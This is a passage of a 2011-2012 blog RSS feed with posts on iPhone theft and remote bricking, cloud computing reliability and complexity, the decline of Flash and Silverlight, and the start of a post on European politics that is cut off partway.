&lt;li&gt;&lt;a href="http://www.timesledger.com/stories/2011/44/teenmurdered_jt_2011_11_03_q.html"&gt;Teen murdered for iPhone&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.dailymail.co.uk/news/article-2067284/Killed-iPhone-Father-remonstrated-thieves-stabbed-head-screwdriver.html"&gt;Killed for his iPhone: Father who remonstrated with thieves 'was stabbed in the head with a screwdriver'&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.mactrast.com/2011/03/chicago-woman-killed-in-iphone-robbery/"&gt;Chicago Woman Killed In iPhone Robbery&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
The latter story (around this time last year), in which a 68 year old woman was pushed down a flight of stairs in a Chicago subway station by the fleeing thief only to die later of head injuries, is almost identical to a robbery in Paris in which a young woman also died of head injuries only weeks prior:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://galliawatch.blogspot.fr/2011/01/murder-in-paris-subway.html"&gt;Murder in the Paris Subway&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
Paris police data from that period &lt;a href="http://www.bloomberg.com/news/2011-01-11/parisians-told-to-hold-iphones-tight-after-thefts-on-subways.html"&gt;showed&lt;/a&gt; that&amp;nbsp;53 percent of 1,071 violent thefts on Paris public transport involved smartphones, and&amp;nbsp;the last two models of iPhones accounted for almost 28 percent of items stolen on public transport. The&amp;nbsp;Interior Minister was at the time&amp;nbsp;seeking faster efforts to allow smartphone owners to “block” stolen phones, disabling calling functions to make them worthless in the resale market as a deterrent to theft.&amp;nbsp;“It will be naturally much less attractive” to steal a phone that can be de-activated remotely, he noted, adding that “we have the technical means to deter thieves”. And yet the grey market for iPhones is obviously still alive and well some 18 months later, in no small part because the parties with the capability to solve the problem (carriers, manufacturers, etc.) lack the interest (stolen phones drive new sales).&lt;br /&gt;
&lt;br /&gt;
This brings me to the point of this post — finding a technical solution to solve the problem once and for all. Indeed, if a smartphone can be "bricked" then its resale value is severely limited. Most efforts today involve blacklisting the IMEI number such that the phone cannot be used on the networks &lt;strong&gt;in that country&lt;/strong&gt;, but this usually takes time as it has to be done securely (typically by the operator from which it was purchased, and only after receiving a police report — too bad for those of us who purchase outright from a retailer!). A few days is long enough for the thief to sell the phone, only to have the buyer find it stop working some time later, thus creating another victim of crime (albeit someone guilty of receiving stolen goods, and in doing so driving demand!). Unless the database is global (which gives rise to other problems including distributed trust, denial of service, duplicated IMEIs, equipment limitations, etc.) then the thief can just sell it into another market, especially here in Europe, or &lt;a href="http://www.iphone4jailbreak.org/forum/imei-locked-iphone-4-how-to-edit-imei-number.html#comment-12778"&gt;swap it&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Enter Apple, who already have (and &lt;a href="http://www.apple.com/iphone/built-in-apps/find-my-iphone.html"&gt;heavily advertise&lt;/a&gt;) the capability to securely locate, message and wipe the device (should it be able to reach the Internet — too bad if you're roaming and have data disabled, and care about security and have auto join networks disabled, as I did!). Their trivial restore process (which makes iPhones extremely, and I would argue unnecessarily, transferable) also apparently involves a handshake with Apple servers, so who better to "brick" stolen devices by preventing them from being restored until returned? This would make it essentially impossible for anyone but the legitimate owner of the device to make use of it, thereby destroying the market and going from the most attractive to least attractive smartphone for thieves overnight. Sure you could argue that it's not their problem, but unlike the police they have the capability (and I would argue the interest) to put an end to it once and for all.&lt;br /&gt;
&lt;br /&gt;
I for one will be seriously reconsidering the cost vs benefit of carrying a device that others value more than my own life, and I'm sure that the benefit of a "Remote Disable" function in competitive advantage would outstrip the profit from replacement of stolen devices, so it's not just about doing the right thing.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Update:&lt;/b&gt; Brian Katz &lt;a href="https://twitter.com/bmkatz/status/181724922538766336"&gt;points out&lt;/a&gt; that the thief need only enter the wrong PIN 10 times and then the iPhone will factory reset itself (depending on settings), no need for iTunes restore!&lt;br /&gt;
&lt;br /&gt;
&lt;em&gt;P.S. Here's &lt;a href="http://www.securitygeneration.com/security/protecting-and-recovering-your-iphone-and-ipad-from-loss-and-theft/"&gt;some advice&lt;/a&gt; on protecting your iPhone as well as some tips for avoiding pickpockets in Paris from&amp;nbsp;&lt;a href="http://www.tripadvisor.com/Travel-g187147-c56326/Paris:France:Tackling.The.Problem.Of.Pickpockets.html"&gt;TripAdvisor&lt;/a&gt; and the &lt;a href="http://france.usembassy.gov/pickpockets.html"&gt;US Embassy&lt;/a&gt;.&lt;/em&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6834535-2924597908991399328?l=samj.net' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/samj?a=QnZVv5o5dI8:W-y1Xo1bqCA:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=QnZVv5o5dI8:W-y1Xo1bqCA:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=QnZVv5o5dI8:W-y1Xo1bqCA:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=QnZVv5o5dI8:W-y1Xo1bqCA:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=QnZVv5o5dI8:W-y1Xo1bqCA:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=QnZVv5o5dI8:W-y1Xo1bqCA:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=QnZVv5o5dI8:W-y1Xo1bqCA:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=QnZVv5o5dI8:W-y1Xo1bqCA:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=QnZVv5o5dI8:W-y1Xo1bqCA:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/samj/~4/QnZVv5o5dI8" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2012-03-21T12:41:37.643+01:00</app:edited><media:thumbnail url="http://lh4.ggpht.com/-x1Hk312t9go/T2ZgnPDBt4I/AAAAAAAAAjM/y42ZxszyJd8/s72-c/find-my-iphone.png?imgmax=800" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://samj.net/2012/03/is-carrying-iphone-worth-risk.html</feedburner:origLink></item><item><title>Simplifying cloud: Reliability</title><link>http://feedproxy.google.com/~r/samj/~3/uTGN7ebxJHk/simplifying-cloud-reliability.html</link><category>cloud</category><author>samj@samj.net (Sam Johnston)</author><pubDate>Thu, 08 Mar 2012 04:39:21 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6834535.post-7742236307992250759</guid><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-aHzpddzcdq8/T1ik7dkAxII/AAAAAAAAAis/M4-o1Ts3ddY/s1600/Google%E2%80%99s_First_Production_Server.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://4.bp.blogspot.com/-aHzpddzcdq8/T1ik7dkAxII/AAAAAAAAAis/M4-o1Ts3ddY/s320/Google%E2%80%99s_First_Production_Server.jpg" width="193" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;span style="font-size: x-small;"&gt;&lt;i&gt;The original Google server rack&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
Reliability in cloud computing is a very simple concept which I've explained in many presentations but never actually documented:&lt;br /&gt;
&lt;br /&gt;
Traditional legacy IT systems consist of relatively unreliable software (Microsoft Exchange, Lotus Notes, Oracle, etc.) running on relatively reliable hardware (Dell, HP, IBM servers, Cisco networking, etc.). Unreliable software is not designed for failure and thus any fluctuations in the underlying hardware platform (including power and cooling) typically result in partial or system-wide outages. In order to deliver reliable service using unreliable software you need to use reliable hardware, typically employing lots of redundancy (dual power supplies, dual NICs, RAID arrays, etc.). In summary:&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: center;"&gt;
&lt;span style="font-size: large;"&gt;&lt;span style="text-decoration: underline;"&gt;unreliable software&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-size: large;"&gt;reliable hardware&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
Cloud computing platforms typically prefer to build reliability into the software such that it can run on cheap commodity hardware. The software is designed for failure and assumes that components will misbehave or go away from time to time (which will always be the case, regardless of how much you spend on reliability - the more you spend the lower the chance but it will never be zero). Reliability is typically delivered by replication, often in the background (so as not to impair performance). Multiple copies of data are maintained such that if you lose any individual machine the system continues to function (in the same way that if you lose a disk in a RAID array the service is uninterrupted). Large scale services will ideally also replicate data in multiple locations, such that if a rack, row of racks or even an entire datacenter were to fail then the service would still be uninterrupted. In summary:&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: center;"&gt;
&lt;strong&gt;&lt;span style="font-size: large;"&gt;&lt;span style="text-decoration: underline;"&gt;reliable software&lt;/span&gt;&lt;br /&gt;unreliable hardware&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt;
&lt;br /&gt;
Asked for a quote for Joe Weinman's upcoming &lt;a href="http://www.amazon.com/Cloudonomics-Business-Value-Cloud-Computing/dp/1118229967"&gt;Cloudonomics: The Business Value of Cloud Computing&lt;/a&gt; book, I said:&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;span style="font-size: large;"&gt;"&lt;em&gt;The marginal cost of reliable hardware is linear while the marginal cost of reliable software is zero.&lt;/em&gt;"&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
That is to say, once you've written reliability into your software you can scale out with cheap hardware without spending more on reliability per unit, while if you're using reliable hardware then each unit needs to include reliability (typically in the form of redundant components), which quickly gets very expensive.&lt;br /&gt;
The other two permutations are ineffective:&lt;br /&gt;
&lt;br /&gt;
Unreliable software on unreliable hardware gives an unreliable system. That's why you should never try to install unreliable software like Microsoft Exchange, Lotus Notes, Oracle etc. onto unreliable hardware like Amazon EC2:&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: center;"&gt;
&lt;span style="font-size: large; text-decoration: underline;"&gt;unreliable software&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-size: large;"&gt;unreliable hardware&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
Finally, reliable software on reliable hardware gives a reliable but inefficient and expensive system. That's why you're unlikely to see reliable software like Cassandra running on reliable platforms like VMware with brand name hardware:&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: center;"&gt;
&lt;span style="font-size: large;"&gt;&lt;span style="text-decoration: underline;"&gt;reliable software&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-size: large;"&gt;reliable hardware&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
Google enjoyed a significant competitive advantage for many years by using commodity components with a revolutionary proprietary software stack including components like the distributed Google File System (GFS). You can still see Google's original hand-made racks built with motherboards laid on cork board at their Mountain View campus and the computer museum (per image above), but today's machines are custom made by ODMs and are a lot more advanced. Meanwhile Facebook have decided to focus on their core competency (social networking) and are actively commoditising "unreliable" web scale hardware (by way of the Open Compute Project) and software (by way of software releases, most notably the Cassandra distributed database which is now used by services like Netflix).&lt;br /&gt;
&lt;br /&gt;
The challenge for enterprises today is to adopt cheap reliable software so as to enable the transition away from expensive reliable hardware. That's easier said than done, but my advice to them is to treat this new technology as another tool in the toolbox and use the right tool for the job. Set up cloud computing platforms like Cassandra and OpenStack and look for "low-hanging fruit" to migrate first, then deal with the reticent applications once the "center of gravity" of your information technology systems has moved to cloud computing architectures.&lt;br /&gt;
&lt;br /&gt;
P.S. Before the server huggers get all pissy about my using the term "relatively unreliable software", this is a perfectly valid way of achieving a reliable system — just not a cost effective one now "relatively reliable software" is here.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6834535-7742236307992250759?l=samj.net' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/samj?a=uTGN7ebxJHk:hPfdHeWvHA4:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=uTGN7ebxJHk:hPfdHeWvHA4:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=uTGN7ebxJHk:hPfdHeWvHA4:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=uTGN7ebxJHk:hPfdHeWvHA4:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=uTGN7ebxJHk:hPfdHeWvHA4:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=uTGN7ebxJHk:hPfdHeWvHA4:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=uTGN7ebxJHk:hPfdHeWvHA4:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=uTGN7ebxJHk:hPfdHeWvHA4:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=uTGN7ebxJHk:hPfdHeWvHA4:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/samj/~4/uTGN7ebxJHk" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2012-03-08T13:39:21.521+01:00</app:edited><media:thumbnail url="http://4.bp.blogspot.com/-aHzpddzcdq8/T1ik7dkAxII/AAAAAAAAAis/M4-o1Ts3ddY/s72-c/Google%E2%80%99s_First_Production_Server.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">8</thr:total><feedburner:origLink>http://samj.net/2012/03/simplifying-cloud-reliability.html</feedburner:origLink></item><item><title>Cloud computing's concealed complexity</title><link>http://feedproxy.google.com/~r/samj/~3/EB1GE1WDV9I/cloud-computing-concealed-complexity.html</link><author>samj@samj.net (Sam Johnston)</author><pubDate>Mon, 09 Jan 2012 00:53:16 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6834535.post-7976521529127416007</guid><description>&lt;p&gt;&lt;em&gt;&lt;img style="display: block; margin-left: auto; margin-right: auto;" title="cloud-gears-cropped.jpg" src="http://lh3.ggpht.com/-M6mfDyktJDo/Twqqw1gpOSI/AAAAAAAAAhQ/vdWNEBYItXE/cloud-gears-cropped.jpg?imgmax=800" border="0" alt="Cloud gears cropped" width="444" height="255" /&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;James Urquhart claims &lt;a href="http://gigaom.com/cloud/cloud-is-complex-deal-with-it/"&gt;Cloud is complex—deal with it&lt;/a&gt;, adding that "&lt;em&gt;If you are looking to cloud computing to simplify your IT environment, I’m afraid I have bad news for you&lt;/em&gt;" and citing his earlier &lt;a href="http://news.cnet.com/8301-19413_3-20004757-240.html"&gt;CNET post&lt;/a&gt; drawing analogies to a recent flash crash.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://en.wikipedia.org/wiki/Cloud_computing"&gt;Cloud computing&lt;/a&gt; systems &lt;strong&gt;are&lt;/strong&gt; complex, in the same way that nuclear power stations are complex — they also have &lt;a href="http://en.wikipedia.org/wiki/2011_Japanese_nuclear_accidents"&gt;catastrophic failure modes&lt;/a&gt;, but given cloud providers rely heavily on their reputations they go to great lengths to ensure continuity of service (I was previously the technical program manager for &lt;a href="http://www.networkcomputing.com/backup-recovery/229500447"&gt;Google's global tape backup program&lt;/a&gt; so I appreciate this first hand). The best analogies to flash crashes are autoscaling systems making too many (or too few) resources available and &lt;a href="http://gigaom.com/2011/12/27/how-to-deal-with-amazons-spot-server-price-spikes/"&gt;spot price spikes&lt;/a&gt;, but these are isolated and there are simple ways to mitigate the risk (DDoS protection, market limits, etc.)&lt;/p&gt;
&lt;p&gt;Fortunately this complexity is concealed behind well defined interfaces — indeed the term "cloud" itself comes from network diagrams in which complex interconnecting networks became the responsibility of service providers and were concealed by a cloud outline. Cloud computing is, simply, the delivery of information technology as a service rather than a product, and like other utility services there is a clear &lt;a href="http://en.wikipedia.org/wiki/Demarcation_point"&gt;demarcation point&lt;/a&gt; (the first socket for telephones, the meter for electricity and the user or machine interface for computing).&lt;/p&gt;
&lt;p&gt;Everything on the far side of the demarcation point is the responsibility of the provider, and users often don't even know (nor do they need to know) how the services actually work — it could be an &lt;a href="http://samj.net/2008/07/future-of-cloud-computing-army-of.html"&gt;army of monkeys&lt;/a&gt; at typewriters for all they care. Granted it's often beneficial to have some visibility into how the services are provided (in the same way that we want to know our phone lines are secure and power is clean), but we've developed specifications like &lt;a href="http://cloudaudit.org/"&gt;CloudAudit&lt;/a&gt; to improve transparency.&lt;/p&gt;
&lt;p&gt;Making simple topics complex is easy — what's hard is making complex topics simple. We should be working to make cloud computing as approachable as possible, and drawing attention to its complexity does not further that aim. Sure there are communities of practitioners who need to know how it all works (and James is addressing that community via GigaOm), but consumers of cloud services should finally be enabled to apply information technology to business problems, without unnecessary complexity.&lt;/p&gt;
&lt;p&gt;If you find yourself using complex terminology or unnecessary acronyms (e.g. anything ending with *aaS) then ask yourself if you're not part of the problem rather than part of the solution.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6834535-7976521529127416007?l=samj.net' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/samj?a=EB1GE1WDV9I:yGO0FdvtSFY:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=EB1GE1WDV9I:yGO0FdvtSFY:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=EB1GE1WDV9I:yGO0FdvtSFY:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=EB1GE1WDV9I:yGO0FdvtSFY:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=EB1GE1WDV9I:yGO0FdvtSFY:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=EB1GE1WDV9I:yGO0FdvtSFY:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=EB1GE1WDV9I:yGO0FdvtSFY:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=EB1GE1WDV9I:yGO0FdvtSFY:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=EB1GE1WDV9I:yGO0FdvtSFY:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/samj/~4/EB1GE1WDV9I" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2012-01-09T09:53:16.712+01:00</app:edited><media:thumbnail url="http://lh3.ggpht.com/-M6mfDyktJDo/Twqqw1gpOSI/AAAAAAAAAhQ/vdWNEBYItXE/s72-c/cloud-gears-cropped.jpg?imgmax=800" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">3</thr:total><feedburner:origLink>http://samj.net/2012/01/cloud-computing-concealed-complexity.html</feedburner:origLink></item><item><title>Flash/Silverlight: How much business can you afford to turn away?</title><link>http://feedproxy.google.com/~r/samj/~3/qxGIA4bqhtU/flashsilverlight-how-much-business-can.html</link><category>internet</category><author>samj@samj.net (Sam Johnston)</author><pubDate>Mon, 09 Jan 2012 00:00:00 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6834535.post-3369621715155360046</guid><description>&lt;div style="text-align: left;" dir="ltr"&gt;&lt;a href="https://twitter.com/#!/timanderson"&gt;Tim Anderson&lt;/a&gt; was &lt;a href="https://twitter.com/#!/timanderson/status/154527186936807424"&gt;asking&lt;/a&gt; about the future of Silverlight on Twitter today so here are my thoughts on the subject, in the context of earlier posts on the future of Flash:&lt;br /&gt; &lt;br /&gt; 2009: &lt;a href="http://samj.net/2009/02/why-adobe-flash-penetration-is-more.html"&gt;Why Adobe Flash penetration is more like 50% than 99%&lt;/a&gt;&lt;br /&gt; 2010: &lt;a href="http://samj.net/2010/02/face-it-flash-your-days-are-numbered.html"&gt;Face it Flash, your days are numbered.&lt;/a&gt;&lt;br /&gt; 2011: &lt;a href="http://samj.net/2011/11/rip-adobe-flash-1996-2011-now-lets-bury.html"&gt;RIP Adobe Flash (1996-2011) - now let's bury the dead&lt;/a&gt;&lt;br /&gt; &lt;br /&gt; In the early days of the Internet, a lack of native browser support for "advanced" functionality (particularly video) created a vacuum that propelled Flash to near ubiquity. It was the only plugin to achieve such deep penetration, though I would argue never as high as 99% (which Adobe laughably &lt;a href="http://www.adobe.com/products/flashplatformruntimes/statistics.html"&gt;advertise to this day&lt;/a&gt;). As a result, developers were able to convince clients to adopt the platform for all manner of interactive sites (including, infamously, many/most restaurants).&lt;br /&gt; &lt;br /&gt; The impossible challenge for proprietary browser plugins is staying up-to-date and secure across a myriad hardware and software platforms — it was hard enough trying to support multiple browsers on multiple versions of Windows on one hardware platform (x86), but with operating systems like Linux and Mac OS X now commanding non-negligible shares of the market it's virtually impossible. Enter mobile devices, which by Adobe's own reckoning outnumber PCs by 3 to 1. Plugin vendors now have an extremely diverse ecosystem of hardware (AMD, Intel, etc.) and software (Android, iOS, Symbian, Windows Phone 7, etc.) and an impossibly large number of permutations to support. Meanwhile browser engines (e.g. WebKit, which is the basis for Safari and Chrome on the desktop and iOS, Android and webOS on mobile devices) have added native support for the advanced features whose absence created a demand for Flash.&lt;br /&gt; &lt;br /&gt; Unsurprisingly, not only is Flash in rapid decline — as evidenced by Adobe recently pulling out of the mobile market (and thus 3 in 4 devices) — but it would be virtually impossible for any competitor to reach its level of penetration. As such, Silverlight had (from the outset) a snowflake's chance in hell of achieving an "acceptable" level of penetration.&lt;br /&gt; &lt;br /&gt; What's an "acceptable level of penetration" you ask? That's quite simple — it's the ratio of customers that businesses are prepared to turn away in order to access "advanced" functionality that is now natively supported in most browsers. At Adobe's claimed 99% penetration you're turning away 1 in 100 customers. At 90% you're turning away 1 in 10. According to &lt;a href="http://riastats.com/"&gt;http://riastats.com&lt;/a&gt;, if you're deploying a Flash site down under then you're going to be turning away 13%, or a bit more than 1 in 8. For Silverlight it's even worse — almost half of your customers won't even get to see your site without having to install a plugin (which they are increasingly less likely to do).&lt;br /&gt; &lt;br /&gt; How much revenue can your business tolerate losing? 1%? 10%? 50%? And for what benefit?&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6834535-3369621715155360046?l=samj.net' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/samj?a=qxGIA4bqhtU:SA3Y7LKZ9PM:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=qxGIA4bqhtU:SA3Y7LKZ9PM:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=qxGIA4bqhtU:SA3Y7LKZ9PM:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=qxGIA4bqhtU:SA3Y7LKZ9PM:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=qxGIA4bqhtU:SA3Y7LKZ9PM:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=qxGIA4bqhtU:SA3Y7LKZ9PM:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=qxGIA4bqhtU:SA3Y7LKZ9PM:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=qxGIA4bqhtU:SA3Y7LKZ9PM:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=qxGIA4bqhtU:SA3Y7LKZ9PM:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/samj/~4/qxGIA4bqhtU" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2012-01-09T09:00:00.046+01:00</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://samj.net/2012/01/flashsilverlight-how-much-business-can.html</feedburner:origLink></item><item><title>A word on the future of Europe (without the United Kingdom)</title><link>http://feedproxy.google.com/~r/samj/~3/FNrKFiYD0Mg/word-on-future-of-europe-without-united.html</link><category>europe</category><category>politics</category><author>samj@samj.net (Sam Johnston)</author><pubDate>Sat, 10 Dec 2011 01:59:39 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6834535.post-4053331146204872806</guid><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
It's rare that I rant about politics but given the train wreck that we've woken up to here in Europe I thought I'd make the exception as this is important for all of us — both here in the 27 member&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/European_Union"&gt;European Union&lt;/a&gt; (technically while part of Europe, Switzerland's not part of the European Union nor the 17 member&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/Eurozone"&gt;Eurozone&lt;/a&gt;&amp;nbsp;as it has its own currency, but we're landlocked by it and affected by its instability) as well as abroad, including the United States.&lt;br /&gt;
&lt;br /&gt;
I'm no expert on European politics, but having been a resident of the region for almost a decade now and lived and/or worked in three member states (in addition to Switzerland) I have the unusual advantage of having seen it from many angles:&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;From Ireland, which has been (and is to this day) a benefactor of the union by way of support for its relatively small economy and its inexplicably generous 12.5% corporate tax rate.&lt;/li&gt;
&lt;li&gt;From France, which along with Germany is one of the powerhouses of the European economy with the most to lose if things go awry.&lt;/li&gt;
&lt;li&gt;From Switzerland, which is an independent, neutral country that happens to be in the center of Europe and only recently joined the &lt;a href="http://en.wikipedia.org/wiki/Schengen_Agreement"&gt;Schengen Agreement&lt;/a&gt; (relaxing its borders with France, Germany, Austria and Italy).&lt;/li&gt;
&lt;li&gt;From the United Kingdom, which is a member state outside of the Eurozone with its own currency (British Pounds) that is isolated from the mainland by sea and apparently sees this as a reason to get special treatment.&lt;/li&gt;
&lt;/ul&gt;
The United Kingdom is a large and important economy in the zone, but even down to the grassroots level they see themselves as independent and assess every single decision solely on the basis of what it will do for them — there are regularly mini scandals in the papers about their relationship with their fellow Europeans (who are typically seen to be somehow benefiting at their expense). This shortsighted&amp;nbsp;&lt;a href="https://twitter.com/voiceofmarmite/status/145080030723186688"&gt;tweet&lt;/a&gt; captures the sentiment nicely:
&lt;br /&gt;
&lt;blockquote class="twitter-tweet"&gt;
So &lt;a href="https://twitter.com/search/%2523Cameron"&gt;#Cameron&lt;/a&gt; calls the Franco-German bluff over the &lt;a href="https://twitter.com/search/%2523Eurozone"&gt;#Eurozone&lt;/a&gt; anyone know how many £m per day we could save if we left the &lt;a href="https://twitter.com/search/%2523EU"&gt;#EU&lt;/a&gt;?&lt;br /&gt;
